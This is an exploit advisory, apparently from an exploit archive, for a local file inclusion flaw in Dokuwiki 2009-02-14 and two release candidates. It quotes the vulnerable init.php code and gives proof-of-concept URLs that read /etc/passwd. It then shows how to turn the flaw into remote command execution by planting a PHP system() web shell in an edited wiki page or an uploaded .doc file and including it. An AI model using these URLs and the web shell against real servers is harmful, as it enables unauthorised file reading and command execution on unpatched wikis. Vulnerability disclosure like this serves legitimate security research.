Dokuwiki 2009-02-14 Local File Inclusion Vulnerability

2009-05-26 16:06:52

# Author_ girex
# Homepage_ girex.altervista.org

# CMS_ Dokuwiki
# Homepage_ dokuwiki.org

# Affected versions_ 2009-02-14
rc2009-02-06
rc2009-01-30

# Bug_ Local file inclusion
# Need_ register_globals = On


# Vuln description_
# File: /inc/init.php

// if available load a preload config file
$preload = fullpath(dirname(__FILE__)).'/preload.php';
if (@file_exists($preload)) include($preload);

...

//set the configuration cascade - but only if its not already been set in preload.php
global $config_cascade;
if (empty($config_cascade)) {
$config_cascade = array(
'main' => array(
'default' => array(DOKU_CONF.'dokuwiki.php'),
'local' => array(DOKU_CONF.'local.php'),
'protected' => array(DOKU_CONF.'local.protected.php'),
),

...

// load the global config file(s)
foreach (array('default','local','protected') as $config_group) {
if (empty($config_cascade['main'][$config_group])) continue;
foreach ($config_cascade['main'][$config_group] as $config_file) {
if (@file_exists($config_file)) {
include($config_file);
}
}
}


# File preload.php doesn't exists. (so seems for the affected versions)
# So we can set $config_cascade arrays via register globals
# It's not a RFI couse use of file_exists function.

# First of all you can check the dokuwiki's version here:
# /[host]/[path]/VERSION
# and check if it's a vulnerable version

# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=/etc/passwd
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./README

# Note:
# You can obtain a remote command execution if you can edit the content of a page
# Just insert your php code into it like: <?php system($_GET[cmd]); ?>
# And include it:

# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt

# Or you can check if you have permissions to upload file via:
# [host]/[path]/lib/exe/mediamanager.php

# If so, upload your file with .doc extension then include it:

# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc

#

Fixes

No fixes

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